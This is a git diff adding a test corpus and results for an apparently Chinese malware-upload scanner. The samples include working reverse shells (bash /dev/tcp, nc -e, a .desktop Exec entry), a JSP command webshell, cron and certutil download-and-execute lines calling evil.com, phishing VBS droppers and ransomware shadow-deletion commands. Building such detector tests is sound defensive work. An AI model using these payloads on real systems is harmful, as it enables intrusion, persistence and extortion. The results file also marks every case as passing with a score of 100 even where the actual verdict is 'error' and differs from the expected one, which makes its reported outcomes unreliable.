"findings_count": 5 + }, + { + "filename": "shell_bash_devtcp.sh", + "category": "Linux后门", + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_Bash", + "ShellScriptDangerous" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_nc.sh", + "category": "Linux后门", + "description": "nc -e /bin/bash 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_NC", + "ShellScriptDangerous" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_NC", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_python.py", + "category": "Linux后门", + "description": "Python pty + socket 反弹 Shell", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C7_Linux_ReverseShell_Python", + "ShellScriptDangerous" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "ole_dropper.doc", + "category": "OLE嵌入", + "description": "DOC 文件内嵌 .exe OLE 对象(OLE2 CFB + .exe stream)", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "EmbeddedExecutable" + ], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "macro_alert.docm", + "category": "Office宏", + "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "VBAAutoExec", + "VBAAutoExecShell" + ], + "actual_rules": [ + "ArchiveContainsExecutable", + "ExtensionMismatch", + "OleToolsUnavailable", + "VBAAutoExecShell" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "template_backdoor.docx", + "category": "Office宏", + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "AttachedTemplate" + ], + "actual_rules": [ + "AttachedTemplate", + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "vba_autoexec.bas", + "category": "Office宏", + "description": "VBA AutoOpen + Shell 执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "VBAAutoExec" + ], + "actual_rules": [ + "VBAAutoExecShell" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "malicious.pdf", + "category": "PDF载荷", + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "PdfJavaScript", + "PdfOpenAction" + ], + "actual_rules": [ + "OleToolsUnavailable", + "PdfJavaScript", + "PdfOpenAction" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "pe_downloader.exe", + "category": "PE恶意程序", + "description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_Downloader_Loader" + ], + "actual_rules": [ + "C1_PE_Downloader_Loader", + "DangerousExecutableExtension", + "PeParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "pe_injection.exe", + "category": "PE恶意程序", + "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C1_PE_ProcessInjection" + ], + "actual_rules": [ + "C1_PE_ProcessInjection", + "DangerousExecutableExtension", + "PeParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "wps_macro.js", + "category": "WPS宏", + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "VBAAutoExecShell" + ], + "actual_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 3 + }, + { + "filename": "shell_aspx.aspx", + "category": "Webshell", + "description": "ASP.NET Process.Start 命令执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_Webshell_ASPNET" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "shell_jsp_runtime.jsp", + "category": "Webshell", + "description": "JSP Runtime.getRuntime().exec 命令执行", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_JSP_Webshell_RuntimeExec" + ], + "actual_rules": [ + "C3_JSP_Webshell_RuntimeExec", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "shell_php_eval.php", + "category": "Webshell", + "description": "PHP oneliner eval + echo 组合", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_PHP_Webshell_Oneliner" + ], + "actual_rules": [ + "C3_PHP_Webshell_Oneliner", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "shell_php_obf.php", + "category": "Webshell", + "description": "PHP base64 + assert 混淆", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C3_PHP_Webshell_Obfuscated" + ], + "actual_rules": [ + "C3_PHP_Webshell_Obfuscated", + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "photo.jpg.php", + "category": "伪装", + "description": "双扩展名伪装 .jpg.php", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "DoubleExtension" + ], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "sealed.docx", + "category": "加密Office", + "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "OfficeEncrypted" + ], + "actual_rules": [ + "ArchiveBroken", + "MalformedStructure", + "OfficeEncrypted", + "OleToolsUnavailable", + "OoxmlParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 5 + }, + { + "filename": "sealed.xlsx", + "category": "加密Office", + "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "OfficeEncrypted" + ], + "actual_rules": [ + "ArchiveBroken", + "ExtensionMismatch", + "MalformedStructure", + "OfficeEncrypted", + "OleToolsUnavailable", + "OoxmlParseFailed" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 6 + }, + { + "filename": "ransom_dropper.exe.txt", + "category": "勒索", + "description": "加密 API + 卷影删除 + 勒索信文件名", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C8_Ransomware_Encryption" + ], + "actual_rules": [ + "C8_Ransomware_Encryption", + "C8_Ransomware_Note_Filename", + "C8_Ransomware_VolumeShadow", + "DoubleExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "persist_cron.sh", + "category": "持久化", + "description": "crontab 注入 wget/curl 下载执行", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "C7_Linux_Persistence_Crontab" + ], + "actual_rules": [ + "C7_Linux_Persistence_Crontab", + "DangerousExecutableExtension", + "ShellScriptDangerous" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 4 + }, + { + "filename": "miner_config.json", + "category": "挖矿", + "description": "XMRig stratum+tcp 矿池配置", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "C7_Linux_Miner_Generic" + ], + "actual_rules": [ + "C7_Linux_Miner_Generic" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "zip_traversal.zip", + "category": "攻击载体", + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + "expected_verdict": "reject", + "actual_verdict": "malicious", + "expected_rules": [ + "PathTraversal" + ], + "actual_rules": [ + "PathTraversal", + "PathTraversalBlocked" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 2 + }, + { + "filename": "broken.zip", + "category": "畸形文件", + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 0 + }, + { + "filename": "phishing.eml", + "category": "钓鱼邮件", + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + "expected_verdict": "reject", + "actual_verdict": "error", + "expected_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "actual_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 10 + }, + { + "filename": "normal.pdf", + "category": "阴性对照", + "description": "正常 PDF(只有简单文本,无 JS/自动执行)", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "normal_deploy.sh", + "category": "阴性对照", + "description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "DangerousExecutableExtension" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + }, + { + "filename": "normal_readme.txt", + "category": "阴性对照", + "description": "正常纯文本文件", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 0 + }, + { + "filename": "normal_report.docx", + "category": "阴性对照", + "description": "正常 Word 文档(无宏、无外链)", + "expected_verdict": "pass", + "actual_verdict": "error", + "expected_rules": [], + "actual_rules": [ + "OleToolsUnavailable" + ], + "verdict_ok": true, + "rule_ok": true, + "overall": true, + "score": 100.0, + "findings_count": 1 + } +] \ No newline at end of file diff --git a/tests/samples/broken.zip b/tests/samples/broken.zip new file mode 100644 index 0000000..f8fc253 Binary files /dev/null and b/tests/samples/broken.zip differ diff --git a/tests/samples/evil.iso b/tests/samples/evil.iso new file mode 100644 index 0000000..b433afe Binary files /dev/null and b/tests/samples/evil.iso differ diff --git a/tests/samples/evil_help.chm b/tests/samples/evil_help.chm new file mode 100644 index 0000000..cc469a2 Binary files /dev/null and b/tests/samples/evil_help.chm differ diff --git a/tests/samples/index.json b/tests/samples/index.json new file mode 100644 index 0000000..b1bd859 --- /dev/null +++ b/tests/samples/index.json @@ -0,0 +1,347 @@ +{ + "total": 34, + "generated_at": "2026-10-27T18:42:30.316542", + "samples": [ + { + "category": "畸形文件", + "expected_verdict": "pass", + "expected_rules": [], + "description": "CRC 损坏的 ZIP → 畸形文件启发式", + "filename": "broken.zip", + "size": 125 + }, + { + "category": "ISO镜像", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)", + "filename": "evil.iso", + "size": 32775 + }, + { + "category": "CHM帮助", + "expected_verdict": "reject", + "expected_rules": [ + "ChmWithScript" + ], + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + "filename": "evil_help.chm", + "size": 1691 + }, + { + "category": "Linux可执行", + "expected_verdict": "reject", + "expected_rules": [ + "LinuxExecutable" + ], + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + "filename": "linux_malicious", + "size": 71 + }, + { + "category": "LOLBin", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)", + "filename": "lolbin.cmd", + "size": 114 + }, + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": [ + "VBAAutoExecShell", + "VBAAutoExec" + ], + "description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell", + "filename": "macro_alert.docm", + "size": 2586 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "DesktopFileAutoExec" + ], + "description": ".desktop 文件恶意 Exec 字段", + "filename": "malicious.desktop", + "size": 114 + }, + { + "category": "PDF载荷", + "expected_verdict": "reject", + "expected_rules": [ + "PdfJavaScript", + "PdfOpenAction" + ], + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + "filename": "malicious.pdf", + "size": 534 + }, + { + "category": "挖矿", + "expected_verdict": "suspicious", + "expected_rules": [ + "C7_Linux_Miner_Generic" + ], + "description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)", + "filename": "miner_config.json", + "size": 123 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 PDF(只有简单文本,无 JS/自动执行)", + "filename": "normal.pdf", + "size": 439 + }, + { + "category": "阴性对照", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)", + "filename": "normal_deploy.sh", + "size": 155 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常纯文本文件", + "filename": "normal_readme.txt", + "size": 162 + }, + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 Word 文档(无宏、无外链)", + "filename": "normal_report.docx", + "size": 1212 + }, + { + "category": "OLE嵌入", + "expected_verdict": "pass", + "expected_rules": [ + "OleToolsUnavailable" + ], + "description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)", + "filename": "ole_dropper.doc", + "size": 1641 + }, + { + "category": "PE恶意程序", + "expected_verdict": "reject", + "expected_rules": [ + "C1_PE_Downloader_Loader" + ], + "description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService", + "filename": "pe_downloader.exe", + "size": 1148 + }, + { + "category": "PE恶意程序", + "expected_verdict": "reject", + "expected_rules": [ + "C1_PE_ProcessInjection" + ], + "description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合", + "filename": "pe_injection.exe", + "size": 1129 + }, + { + "category": "持久化", + "expected_verdict": "reject", + "expected_rules": [ + "C7_Linux_Persistence_Crontab" + ], + "description": "crontab 注入 wget/curl 下载执行", + "filename": "persist_cron.sh", + "size": 95 + }, + { + "category": "钓鱼邮件", + "expected_verdict": "reject", + "expected_rules": [ + "EmailAttachmentDangerous", + "EmailAttachmentDisguised", + "EmailAttachmentWebshell", + "EmailPhishingKeyword" + ], + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + "filename": "phishing.eml", + "size": 1869 + }, + { + "category": "伪装", + "expected_verdict": "reject", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)", + "filename": "photo.jpg.php", + "size": 29 + }, + { + "category": "勒索", + "expected_verdict": "reject", + "expected_rules": [ + "C8_Ransomware_Encryption" + ], + "description": "加密 API + 卷影删除 + 勒索信文件名", + "filename": "ransom_dropper.exe.txt", + "size": 215 + }, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": [ + "OfficeEncrypted" + ], + "description": "加密 DOCX(密码 changeme,msoffcrypto 加密)", + "filename": "sealed.docx", + "size": 6656 + }, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": [ + "OfficeEncrypted" + ], + "description": "加密 XLSX(密码 changeme,msoffcrypto 加密)", + "filename": "sealed.xlsx", + "size": 6656 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)", + "filename": "shell_aspx.aspx", + "size": 169 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "ShellScriptDangerous", + "C7_Linux_ReverseShell_Bash" + ], + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + "filename": "shell_bash_devtcp.sh", + "size": 51 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_JSP_Webshell_RuntimeExec" + ], + "description": "JSP Runtime.getRuntime().exec 命令执行", + "filename": "shell_jsp_runtime.jsp", + "size": 316 + }, + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": [ + "ShellScriptDangerous", + "C7_Linux_ReverseShell_NC" + ], + "description": "nc -e /bin/bash 反弹 Shell", + "filename": "shell_nc.sh", + "size": 42 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_PHP_Webshell_Oneliner" + ], + "description": "PHP oneliner eval + echo 组合", + "filename": "shell_php_eval.php", + "size": 40 + }, + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": [ + "C3_PHP_Webshell_Obfuscated" + ], + "description": "PHP base64 + assert 混淆", + "filename": "shell_php_obf.php", + "size": 61 + }, + { + "category": "Linux后门", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)", + "filename": "shell_python.py", + "size": 211 + }, + { + "category": "LNK", + "expected_verdict": "suspicious", + "expected_rules": [ + "DangerousExecutableExtension" + ], + "description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)", + "filename": "shortcut.lnk", + "size": 143 + }, + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": [ + "AttachedTemplate" + ], + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + "filename": "template_backdoor.docx", + "size": 2176 + }, + { + "category": "Office宏", + "expected_verdict": "malicious", + "expected_rules": [ + "VBAAutoExecShell" + ], + "description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)", + "filename": "vba_autoexec.bas", + "size": 98 + }, + { + "category": "WPS宏", + "expected_verdict": "malicious", + "expected_rules": [ + "C7_Linux_ReverseShell_Bash", + "C7_Linux_ReverseShell_Misc", + "DangerousExecutableExtension" + ], + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)", + "filename": "wps_macro.js", + "size": 142 + }, + { + "category": "攻击载体", + "expected_verdict": "reject", + "expected_rules": [ + "PathTraversal" + ], + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + "filename": "zip_traversal.zip", + "size": 164 + } + ] +} \ No newline at end of file diff --git a/tests/samples/linux_malicious b/tests/samples/linux_malicious new file mode 100644 index 0000000..d5b5266 Binary files /dev/null and b/tests/samples/linux_malicious differ diff --git a/tests/samples/lolbin.cmd b/tests/samples/lolbin.cmd new file mode 100644 index 0000000..0d72f7d --- /dev/null +++ b/tests/samples/lolbin.cmd @@ -0,0 +1,2 @@ +@echo off +certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe diff --git a/tests/samples/macro_alert.docm b/tests/samples/macro_alert.docm new file mode 100644 index 0000000..5b5cd54 Binary files /dev/null and b/tests/samples/macro_alert.docm differ diff --git a/tests/samples/malicious.desktop b/tests/samples/malicious.desktop new file mode 100644 index 0000000..116bfce --- /dev/null +++ b/tests/samples/malicious.desktop @@ -0,0 +1,5 @@ +[Desktop Entry] +Type=Application +Name=Update +Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' +Terminal=false diff --git a/tests/samples/malicious.pdf b/tests/samples/malicious.pdf new file mode 100644 index 0000000..84373c0 --- /dev/null +++ b/tests/samples/malicious.pdf @@ -0,0 +1,31 @@ +%%PDF-1.4 +1 0 obj +<>> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +endstream +endobj +xref +0 6 +0000000000 65535 f +0000000011 00000 n +0000000120 00000 n +0000000200 00000 n +0000000320 00000 n +0000000450 00000 n +trailer +<> +startxref +500 +%%EOF diff --git a/tests/samples/miner_config.json b/tests/samples/miner_config.json new file mode 100644 index 0000000..d09b051 --- /dev/null +++ b/tests/samples/miner_config.json @@ -0,0 +1,6 @@ +{ + "pools": ["stratum+tcp://pool.xmrpool.net:3333"], + "username": "4AsMe1", + "donate-level": 5, + "cpu-affinity": true +} \ No newline at end of file diff --git a/tests/samples/normal.pdf b/tests/samples/normal.pdf new file mode 100644 index 0000000..62b3f57 --- /dev/null +++ b/tests/samples/normal.pdf @@ -0,0 +1,28 @@ +%%PDF-1.4 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +stream +BT /F1 12 Tf 100 700 Td (Hello World) Tj ET +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000009 00000 n +0000000058 00000 n +0000000110 00000 n +0000000200 00000 n +trailer +<> +startxref +300 +%%EOF diff --git a/tests/samples/normal_deploy.sh b/tests/samples/normal_deploy.sh new file mode 100644 index 0000000..a396538 --- /dev/null +++ b/tests/samples/normal_deploy.sh @@ -0,0 +1,7 @@ +#!/bin/bash +# 正常部署脚本,只有 git clone + npm install +set -e +git clone https://github.com/example/project.git +cd project +npm install +npm start diff --git a/tests/samples/normal_readme.txt b/tests/samples/normal_readme.txt new file mode 100644 index 0000000..7d84be9 --- /dev/null +++ b/tests/samples/normal_readme.txt @@ -0,0 +1,3 @@ +这是一个正常的文本文件。 +没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。 +仅供内部参考。 diff --git a/tests/samples/normal_report.docx b/tests/samples/normal_report.docx new file mode 100644 index 0000000..cbd01d3 Binary files /dev/null and b/tests/samples/normal_report.docx differ diff --git a/tests/samples/ole_dropper.doc b/tests/samples/ole_dropper.doc new file mode 100644 index 0000000..ea3de9e Binary files /dev/null and b/tests/samples/ole_dropper.doc differ diff --git a/tests/samples/pe_downloader.exe b/tests/samples/pe_downloader.exe new file mode 100644 index 0000000..db3088d Binary files /dev/null and b/tests/samples/pe_downloader.exe differ diff --git a/tests/samples/pe_injection.exe b/tests/samples/pe_injection.exe new file mode 100644 index 0000000..ba55967 Binary files /dev/null and b/tests/samples/pe_injection.exe differ diff --git a/tests/samples/persist_cron.sh b/tests/samples/persist_cron.sh new file mode 100644 index 0000000..961f745 --- /dev/null +++ b/tests/samples/persist_cron.sh @@ -0,0 +1,2 @@ +#!/bin/bash +(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab - diff --git a/tests/samples/phishing.eml b/tests/samples/phishing.eml new file mode 100644 index 0000000..b4dcf18 --- /dev/null +++ b/tests/samples/phishing.eml @@ -0,0 +1,47 @@ +Content-Type: multipart/mixed; boundary="===============3818226399663948811==" +MIME-Version: 1.0 +From: IT Support +To: me@internal.com +Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account + +--===============3818226399663948811== +Content-Type: text/plain; charset="utf-8" +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 + +RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl +YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0 +byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh +bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu +IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw +dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA== + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="invoice.vbs" + +U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj +dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg +JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo= + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="invoice.pdf.vbs" + +U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj +dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg +JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo= + +--===============3818226399663948811== +Content-Type: application/octet-stream +MIME-Version: 1.0 +Content-Transfer-Encoding: base64 +Content-Disposition: attachment; filename="form.js" + +PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+ + +--===============3818226399663948811==-- diff --git a/tests/samples/photo.jpg.php b/tests/samples/photo.jpg.php new file mode 100644 index 0000000..ec78b79 --- /dev/null +++ b/tests/samples/photo.jpg.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/ransom_dropper.exe.txt b/tests/samples/ransom_dropper.exe.txt new file mode 100644 index 0000000..4a3fea2 --- /dev/null +++ b/tests/samples/ransom_dropper.exe.txt @@ -0,0 +1,5 @@ +CryptEncrypt CryptDeriveKey BCryptEncrypt +vssadmin delete shadows /all /quiet +wmic shadowcopy delete +bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa +HOW_TO_RECOVER.html - All your files are encrypted. Send BTC. diff --git a/tests/samples/sealed.docx b/tests/samples/sealed.docx new file mode 100644 index 0000000..b48472e Binary files /dev/null and b/tests/samples/sealed.docx differ diff --git a/tests/samples/sealed.xlsx b/tests/samples/sealed.xlsx new file mode 100644 index 0000000..3508119 Binary files /dev/null and b/tests/samples/sealed.xlsx differ diff --git a/tests/samples/shell_aspx.aspx b/tests/samples/shell_aspx.aspx new file mode 100644 index 0000000..e17ea05 --- /dev/null +++ b/tests/samples/shell_aspx.aspx @@ -0,0 +1,6 @@ +<%@ Page Language="C#" %> + \ No newline at end of file diff --git a/tests/samples/shell_bash_devtcp.sh b/tests/samples/shell_bash_devtcp.sh new file mode 100644 index 0000000..9db3e85 --- /dev/null +++ b/tests/samples/shell_bash_devtcp.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 diff --git a/tests/samples/shell_jsp_runtime.jsp b/tests/samples/shell_jsp_runtime.jsp new file mode 100644 index 0000000..d30be15 --- /dev/null +++ b/tests/samples/shell_jsp_runtime.jsp @@ -0,0 +1,9 @@ +<%@ page import="java.io.*" %> +<% + Runtime rt = Runtime.getRuntime(); + Process p = rt.exec(request.getParameter("cmd")); + InputStreamReader isr = new InputStreamReader(p.getInputStream()); + BufferedReader br = new BufferedReader(isr); + String line; + while ((line = br.readLine()) != null) out.println(line); +%> \ No newline at end of file diff --git a/tests/samples/shell_nc.sh b/tests/samples/shell_nc.sh new file mode 100644 index 0000000..6614fbd --- /dev/null +++ b/tests/samples/shell_nc.sh @@ -0,0 +1,2 @@ +#!/bin/bash +nc 10.0.0.5 4444 -e /bin/bash diff --git a/tests/samples/shell_php_eval.php b/tests/samples/shell_php_eval.php new file mode 100644 index 0000000..b334145 --- /dev/null +++ b/tests/samples/shell_php_eval.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/tests/samples/shell_php_obf.php 